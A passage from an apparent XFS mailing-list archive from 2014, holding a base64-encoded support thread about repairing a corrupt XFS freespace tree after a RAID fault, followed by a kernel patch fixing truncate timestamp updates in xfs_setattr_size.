c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAwNTYyMTwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzIwIGZv ciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDE5MTExIj48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDE5MTExPC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjMyMzwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm8gbW9kaWZ5IGZsYWcgc2V0LCBza2lwcGluZyBw aGFzZSA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5QaGFzZSA2IC0g Y2hlY2sgaW5vZGUgY29ubmVjdGl2aXR5Li4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIHRyYXZlcnNpbmcgZmlsZXN5 c3RlbSAuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmVudHJ5ICZx dW90OzEwLjYuMTE0LjE0OCZxdW90OyBpbiBkaXJlY3RvcnkgaW5vZGUgMTkxMjUgcG9pbnRzIHRv IGZyZWUgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjkyNzcyMSI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyNzcyMTwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIGp1bmsgZW50cnk8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0g dHJhdmVyc2FsIGZpbmlzaGVkIC4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBtb3ZpbmcgZGlzY29ubmVjdGVkIGlu b2RlcyB0byBsb3N0K2ZvdW5kIC4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+UGhhc2UgNyAtIHZlcmlmeSBsaW5rIGNvdW50cy4uLjwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Tm8gbW9kaWZ5IGZsYWcgc2V0LCBza2lwcGluZyBmaWxlc3lz dGVtIGZsdXNoIGFuZCBleGl0aW5nLjwvZm9udD48YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+eGZzcHJvZ3MgdXRpbCYjODIxNztzIHdvcmtzIGZpbmUgd2l0aCBrZXJuZWwg My43LjEwIChjb25maWcga2VybmVsIHBhcmFtcyBsaXN0IGJlbG93KTo8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPi91c3Ivc3JjL2xpbnV4LTMuNy4xMC1nZW50b28vLmNv bmZpZzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Q09ORklHX1hGU19G Uz15PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5DT05GSUdfWEZTX1FV T1RBPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkNPTkZJR19YRlNf UE9TSVhfQUNMPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkNPTkZJ R19YRlNfUlQ9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+IyBDT05G SUdfWEZTX0RFQlVHIGlzIG5vdCBzZXQ8L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPnhmc3Byb2dzIHV0aWwmIzgyMTc7cyBoYW5ncyBpbiBzdGFydCB3aXRoIGtl cm5lbCAzLjEwLjI1IChjb25maWcga2VybmVsIHBhcmFtcyBsaXN0IGJlbG93KTogPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4vdXNyL3NyYy9saW51eC0zLjEwLjI1LWdl bnRvby8uY29uZmlnPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5DT05G SUdfWEZTX0ZTPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkNPTkZJ R19YRlNfUVVPVEE9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Q09O RklHX1hGU19QT1NJWF9BQ0w9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Q09ORklHX1hGU19SVD15PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5DT05GSUdfWEZTX0RFQlVHPXk8L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPk91dHB1dCBvZiBsb2cgcHJpbnQgY29tbWFuZCBJJiM4MjE3O2FtIHVwbG9hZCBp biB3ZWItc2l0ZTo8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPnhmc19s b2dwcmludCAtZCAtQyAuL3hmc19sb2cuZHVtcDwvZm9udD48YnI+DQo8YSBocmVmPSJodHRwOi8v eWFkaS5zay9kL0p4di1JdFJTR3Q4dk4iPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+aHR0cDovL3lhZGkuc2svZC9KeHYtSXRSU0d0OHZOPC91PjwvZm9udD48 L2E+PGJyPg0KPGJyPg0KPGJyPg0KDQo8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJy Pg0KMjguMDEuMjAxNCwg1yA4OjQ2LCAmcXVvdDtEbWl0cml5IFl1IExlb25vdiZxdW90OyAmbHQ7 PC9mb250PjxhIGhyZWY9Im1haWx0bzpETGVvbm92QGJlZWxpbmUucnUiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+RExlb25vdkBiZWVsaW5lLnJ1PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZndDsgzsHQydPBzCjBKTo8YnI+ DQo8L2ZvbnQ+DQo8dWwgc3R5bGU9InBhZGRpbmctbGVmdDogMzZwdCI+PHR0Pjxmb250IHNpemU9 IjMiPkdvb2QgbW9ybmluZywgRGF2ZS48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+DQpUaGFuayB5b3UgZm9y IHlvdXIgcmVzcG9uc2UgdG8gbXkgbWVzc2FnZS48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+DQpROiBTbyBz b21ldGhpbmcgd2VudCB3cm9uZyB3aXRoIHRoZSBIVyBSQUlELCBhbmQgdGhlbiB5b3UgZm91bmQg ZXJyb3JzIGluIHRoZSBmaWxlc3lzdGVtPzxicj4NCkE6IFllcy4gUHJlc3VtYWJseSBvbiB0aGUg c2VydmVyIHdlcmUgcHJvYmxlbXMgd2l0aCB0aGUgcG93ZXIgc3VwcGx5LiBJbiB0aGUgSFcgUkFJ RCBiYXR0ZXJ5IGJhY2t1cCBpbnN0YWxsZWQuIEJ1dCB3aGVuIHRoZSBzZXJ2ZXIgdHVybiBvZmYv b24gZXJyb3JzIG9jY3VycmVkIHRoYXQgbGVkIHRvIHRoZSBjdXJyZW50IHNpdHVhdGlvbi4gVGhl IGN1cnJlbnQgc3RhdHVzIG9mIHRoZSBIVyBSQUlELWNvbnRyb2xsZXIgc3RhYmxlLiB0aGVyZSBh cmUgbm8gZXJyb3JzLjwvZm9udD48L3R0Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48YnI+ DQo8L2ZvbnQ+PHR0Pjxmb250IHNpemU9IjMiPjxicj4NClE6IEl0IGZhaWxlZCB0byBtb3VudCB3 aXRoIHRoZSBzdGFjayB0cmFjZSB0aGF0IHlvdSBhdHRhY2hlZD8gSWYgc28sIHRoZXJlJ3MgYSBj b3JydXB0IGZyZWVzcGFjZSB0cmVlIGluIHRoZSBmaWxlc3lzdGVtLjxicj4NCkE6IFllcy4gVGhl IGF0dGFjaGVkIHN0YWNrIHRyYWNlIGlzIHJlY2VpdmVkIGFmdGVyIHRoZSBpbmNpZGVudC4gSSB3 YXRjaGVkIHRoZSBzb3VyY2UgY29kZSBmaWxlIHRoYXQgaXMgcmVmZXJlbmNlZCB0cmFjZSwgYnV0 LCB1bmZvcnR1bmF0ZWx5LCBjb3VsZCBub3QgZmlndXJlIG91dCBob3cgdG8gZml4IHRoZSBwcm9i bGVtLiBJcyB0aGVyZSBhIHBvc3NpYmlsaXR5IHRvIGZpeCB0aGUgcHJvYmxlbSB3aXRoIGEgY29y cnVwdCBmcmVlc3BhY2UgdHJlZSBpbiB0aGUgZmlsZXN5c3RlbT88L2ZvbnQ+PC90dD48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+ DQpROiBGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRvIGF0IGxlYXN0IHZlcnNp b24gMy4xLjExIG9mIHhmc3Byb2dzLiBJZiBpdCBzdGlsbCBoYW5ncywgdGhlbiBpdCdzIHF1aXRl IGxpa2VseSB0aGVyZSBzb21ldGhpbmcgc3RpbGwgd3Jvbmcgd2l0aCB5b3VyIEhXIFJBSUQuIFlv dXIgZmlyc3Qgc3RlcCBpcyB0byBtYWtlIHN1cmUgeW91ciBIVyBSQUlEIGlzIGhlYWx0aHkgYmVm b3JlIHRyeWluZyB0byByZXBhaXIgb3IgbW91bnQgdGhlIGZpbGVzeXN0ZW0uLi4uPGJyPg0KQTog SSB3aWxsIHRyeSB0byBmb2xsb3cgWW91ciByZWNvbW1lbmRhdGlvbnMuIFNlcnZlciBpcyBydW5u aW5nIG9uIGEgR2VudG9vIHN5c3RlbS4gQ3VycmVudCBzdGFibGUgdmVyc2lvbiBvZiB4ZnNwcm9n cyBpbiBnZW50b28gcG9ydGFnZSBpcyAzLjEuMTAsIDMuMS4xMS1yMSBpcyB1bnN0YWJsZS4gQnV0 IEkgd2lsbCBpbnN0YWxsIHRoZSBsYXN0IHRvIGNoZWNrLiBBY2NvcmRpbmcgdG8gdGhlIHJlc3Vs dHMgb2Ygd3JpdGUuIEFsc28gSSdtIGF0dGFjaCB0byB0aGUgbWVzc2FnZSBmaWxlIHdpdGggYSBk aWFnbm9zaXMgSFcgUkFJRCBjb250cm9sbGVyLiBUaGUgY3VycmVudCBzdGF0dXMgb2YgdGhlIGNv bnRyb2xsZXIgaXMgc3RhYmxlLjwvZm9udD48L3R0Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij48YnI+DQo8L2ZvbnQ+PHR0Pjxmb250IHNpemU9IjMiPjxicj4NCkkgaG9wZSBmb3IgWW91ciBo ZWxwIGluIHNvbHZpbmcgdGhlIHByb2JsZW0uPC9mb250PjwvdHQ+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPjxicj4NCjwvZm9udD48dHQ+PGZvbnQgc2l6ZT0iMyI+PGJyPg0KLS08YnI+DQog Jm5ic3A7RG1pdHJ5IExlb25vdi48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+PGJyPg0KPC9mb250Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48aT48YnI+DQooU2Vl IGF0dGFjaGVkIGZpbGU6IFJlcG9ydF9SQUlEX3N0YXR1c18yMDE0MDEyOC50eHQpPC9pPjwvZm9u dD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGNvbG9yPSIjNDI0MjgyIiBmYWNlPSJzZXJpZiI+RGF2ZSBDaGlubmVyIC0tLTI4LjAx LjIwMTQgMDM6MTQ6MTctLS1PbiBNb24sIEphbiAyNywgMjAxNCBhdCAxMToxMjoxNUFNICswNDAw LCBEbWl0cml5IFl1IExlb25vdiB3cm90ZTogJmd0OzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjNUY1RjVG IiBmYWNlPSJzZXJpZiI+PGJyPg0K79Q6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJp ZiI+RGF2ZSBDaGlubmVyICZsdDs8L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOmRhdmlkQGZyb21vcmJp dC5jb20iPjxmb250IHNpemU9IjIiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ZGF2 aWRAZnJvbW9yYml0LmNvbTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjIiIGZhY2U9InNlcmlm Ij4mZ3Q7PC9mb250Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjNUY1RjVGIiBmYWNlPSJzZXJpZiI+ PGJyPg0K68/N1TogPC9mb250Pjxmb250IHNpemU9IjIiIGZhY2U9InNlcmlmIj5EbWl0cml5IFl1 IExlb25vdiAmbHQ7PC9mb250PjxhIGhyZWY9Im1haWx0bzpETGVvbm92QGJlZWxpbmUucnUiPjxm b250IHNpemU9IjIiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+RExlb25vdkBiZWVs aW5lLnJ1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMiIgZmFjZT0ic2VyaWYiPiZndDssIDwv Zm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2VyaWYiPjxicj4NCuvP 0MnROiA8L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOnhmc0Bvc3Muc2dpLmNvbSI+PGZvbnQgc2l6ZT0i MiIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT54ZnNAb3NzLnNnaS5jb208L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2VyaWYiPjxicj4N CuTB1ME6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+MjguMDEuMjAxNCAwMzox NDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2VyaWYiPjxicj4N CvTFzcE6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+UmU6IFhGUzogQXNzZXJ0 aW9uIGZhaWxlZDogZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTogMTU5 MDwvZm9udD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250PjxociB3aWR0 aD0iMTAwJSIgc2l6ZT0iMiIgYWxpZ249ImxlZnQiIG5vc2hhZGUgc3R5bGU9ImNvbG9yOiMwMDAw MDA7ICI+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPjxicj4NCjxicj4NCjwvZm9udD48dHQ+ PGZvbnQgc2l6ZT0iMyI+PGJyPg0KT24gTW9uLCBKYW4gMjcsIDIwMTQgYXQgMTE6MTI6MTVBTSAr MDQwMCwgRG1pdHJpeSBZdSBMZW9ub3Ygd3JvdGU6PGJyPg0KJmd0OyA8YnI+DQomZ3Q7IEhlbGxv LCBkZWFyIGRldmVsb3BlcnM8YnI+DQomZ3Q7IDxicj4NCiZndDsgRmFjZWQgJm5ic3A7d2l0aCAm bmJzcDt0aGUgJm5ic3A7cHJvYmxlbSBvZiB1c2luZyBYRlMuIEknbSB1c2UgdGhlIFhGUyBmaWxl IHN5c3RlbSBvbjxicj4NCiZndDsgdGhlICZuYnNwO3NlcnZlciB3aXRob3V0IHByb2JsZW1zIHRo cmVlIHllYXJzLiBSZWNlbnRseSBkaXNjb3ZlcmVkIHRoYXQgdGhlPGJyPg0KJmd0OyBkaXNrIChy YWlkLWFycmF5KSB3aXRoIFhGUyBpcyBub3QgYXZhaWxhYmxlLjxicj4NCiZndDsgPGJyPg0KJmd0 OyBUaGUgbG9ncyByYWlkIGNvbnRyb2xsZXIgYXBwZWFyZWQ6IDIwMTQtMDEtMjQgMDc6MTI6MzQg SC9XIE1vbml0b3IgUmFpZDxicj4NCiZndDsgUG93ZXJlZCBPbjxicj4NCjxicj4NClNvIHNvbWV0 aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIEhXIFJBSUQsIGFuZCB0aGVuIHlvdSBmb3VuZCBlcnJv cnM8YnI+DQppbiB0aGUgZmlsZXN5c3RlbT88YnI+DQo8YnI+DQomZ3Q7IFdoZW4gSSByZXN0YXJ0 IHRoZSBzZXJ2ZXIsIEkgZm91bmQgdGhhdCB0aGUgcmFpZCBhcnJheSBpcyBub3QgbW91bnQgb248 YnI+DQomZ3Q7IHRoZSBtb3VudCBwb2ludCAvZGV2L3NkYjEgKGZpbGVzeXN0ZW0gWEZTKS48YnI+ DQo8YnI+DQpJdCBmYWlsZWQgdG8gbW91bnQgd2l0aCB0aGUgc3RhY2sgdHJhY2UgdGhhdCB5b3Ug YXR0YWNoZWQ/IElmIHNvLDxicj4NCnRoZXJlJ3MgYSBjb3JydXB0IGZyZWVzcGFjZSB0cmVlIGlu IHRoZSBmaWxlc3lzdGVtLjxicj4NCjxicj4NCiZndDsgV2hlbiAmbmJzcDtJICZuYnNwO3J1biAm bmJzcDt0aGUgdXRpbGl0eSB4ZnNfcmVwYWlyIC1QIC9kZXYvc2RiMSBpdCBoYW5ncy4gV2hlbiBJ IHJ1bjxicj4NCiZndDsgbW91bnQgJm5ic3A7L2Rldi9zZGIxICZuYnNwO25vdCAmbmJzcDtpc3N1 ZWQgJm5ic3A7YW55ICZuYnNwO2Vycm9ycyBhbmQgYXBwbGljYXRpb24gYWxzbyBoYW5ncy48YnI+ DQomZ3Q7IFRhc2sncyBjYW5ub3QgZmluaXNoIGV2ZW4gdGhlIGNvbW1hbmQga2lsbCAtOSAmbHQ7 cGlkJmd0Oy48YnI+DQo8YnI+DQpGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRv IGF0IGxlYXN0IHZlcnNpb24gMy4xLjExIG9mPGJyPg0KeGZzcHJvZ3MuIElmIGl0IHN0aWxsIGhh bmdzLCB0aGVuIGl0J3MgcXVpdGUgbGlrZWx5IHRoZXJlIHNvbWV0aGluZzxicj4NCnN0aWxsIHdy b25nIHdpdGggeW91ciBIVyBSQUlELjxicj4NCjxicj4NCllvdXIgZmlyc3Qgc3RlcCBpcyB0byBt YWtlIHN1cmUgeW91ciBIVyBSQUlEIGlzIGhlYWx0aHkgYmVmb3JlPGJyPg0KdHJ5aW5nIHRvIHJl cGFpciBvciBtb3VudCB0aGUgZmlsZXN5c3RlbS4uLi48YnI+DQo8YnI+DQpDaGVlcnMsPGJyPg0K PGJyPg0KRGF2ZS48YnI+DQotLSA8YnI+DQpEYXZlIENoaW5uZXI8L2ZvbnQ+PC90dD48dHQ+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiPjx1Pjxicj4NCjwvdT48L2ZvbnQ+PC90dD48YSBo cmVmPSJtYWlsdG86ZGF2aWRAZnJvbW9yYml0LmNvbSI+PHR0Pjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIj48dT5kYXZpZEBmcm9tb3JiaXQuY29tPC91PjwvZm9udD48L3R0PjwvYT48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jmx0O1JlcG9ydF9SQUlEX3N0YXR1c18yMDE0 MDEyOC50eHQmZ3Q7PC9mb250PjwvdWw+DQo8L2JvZHk+PC9odG1sPg== --0__=CBBBF6E3DF8519DE8f9e8a93df938690918cCBBBF6E3DF8519DE-- From BATV+db5bb9178d706a8666a7+3812+infradead.org+hch@bombadil.srs.infradead.org Thu Jan 30 02:06:53 2014 Return-Path: <BATV+db5bb9178d706a8666a7+3812+infradead.org+hch@bombadil.srs.infradead.org> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B29797F66 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 02:06:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 57D9330407A for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 00:06:53 -0800 (PST) X-ASG-Debug-ID: 1391069212-04bdf0121d1be70001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id O5x5RePtSpk61dlp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 00:06:52 -0800 (PST) X-Barracuda-Envelope-From: BATV+db5bb9178d706a8666a7+3812+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W8meC-0006BH-6L for xfs@oss.sgi.com; Thu, 30 Jan 2014 08:06:52 +0000 Date: Thu, 30 Jan 2014 00:06:52 -0800 From: Christoph Hellwig <hch@infradead.org> To: xfs@oss.sgi.com Subject: [PATCH] xfs: ensure correct timestamp updates from truncate Message-ID: <20140130080652.GA23758@infradead.org> X-ASG-Orig-Subj: [PATCH] xfs: ensure correct timestamp updates from truncate References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E8FE81.7040402@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391069212 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144635 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The VFS doesn't set the proper ATTR_CTIME and ATTR_MTIME values for truncate, so filesystems have to manually add them. The introduction of xfs_setattr_time accidentally broke this special case an caused a regression in generic/313. Fix this by removing the local mask variable in xfs_setattr_size so that we only have a single place to keep the attribute information. Signed-off-by: Christoph Hellwig <hch@lst.de> Reported-by: Fengguang Wu <fengguang.wu@intel.com> diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 0ce1d75..ce966c5 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -714,7 +714,6 @@ xfs_setattr_size( { struct xfs_mount *mp = ip->i_mount; struct inode *inode = VFS_I(ip); - int mask = iattr->ia_valid; xfs_off_t oldsize, newsize; struct xfs_trans *tp; int error; @@ -735,8 +734,8 @@ xfs_setattr_size( ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); ASSERT(S_ISREG(ip->i_d.di_mode)); - ASSERT((mask & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| - ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); + ASSERT((iattr->ia_valid & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| + ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); oldsize = inode->i_size; newsize = iattr->ia_size; @@ -745,7 +744,7 @@ xfs_setattr_size( * Short circuit the truncate case for zero length files. */ if (newsize == 0 && oldsize == 0 && ip->i_d.di_nextents == 0) { - if (!(mask & (ATTR_CTIME|ATTR_MTIME))) + if (!(iattr->ia_valid & (ATTR_CTIME|ATTR_MTIME))) return 0; /* @@ -833,10 +832,11 @@ xfs_setattr_size( * these flags set. For all other operations the VFS set these flags * explicitly if it wants a timestamp update. */ - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) { + if (newsize != oldsize && + !(iattr->ia_valid & (ATTR_CTIME | ATTR_MTIME))) { iattr->ia_ctime = iattr->ia_mtime = current_fs_time(inode->i_sb); - mask |= ATTR_CTIME | ATTR_MTIME; + iattr->ia_valid |= ATTR_CTIME | ATTR_MTIME; } /* @@ -872,9 +872,9 @@ xfs_setattr_size( xfs_inode_clear_eofblocks_tag(ip); } - if (mask & ATTR_MODE) + if (iattr->ia_valid & ATTR_MODE) xfs_setattr_mode(ip, iattr); - if (mask & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) + if (iattr->ia_valid & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) xfs_setattr_time(ip, iattr); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); From jeff.liu@oracle.com Thu Jan 30 02:33:45 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A30E87F6B for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 02:33:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 97B1A8F8066 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 00:33:39 -0800 (PST) X-ASG-Debug-ID: 1391070818-04cbb00c2a19250001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id tLIIDI3ssfN0BWR0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 00:33:38 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0U8XBK7015223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 30 Jan 2014 08:33:12 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0U8XAou028662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Thu, 30 Jan 2014 08:33:11 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0U8XAKS012174; Thu, 30 Jan 2014 08:33:10 GMT Received: from [192.168.1.101] (/218.58.150.146) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 30 Jan 2014 00:33:09 -0800 Message-ID: <52EA0E41.7020102@oracle.com> Date: Thu, 30 Jan 2014 16:33:05 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 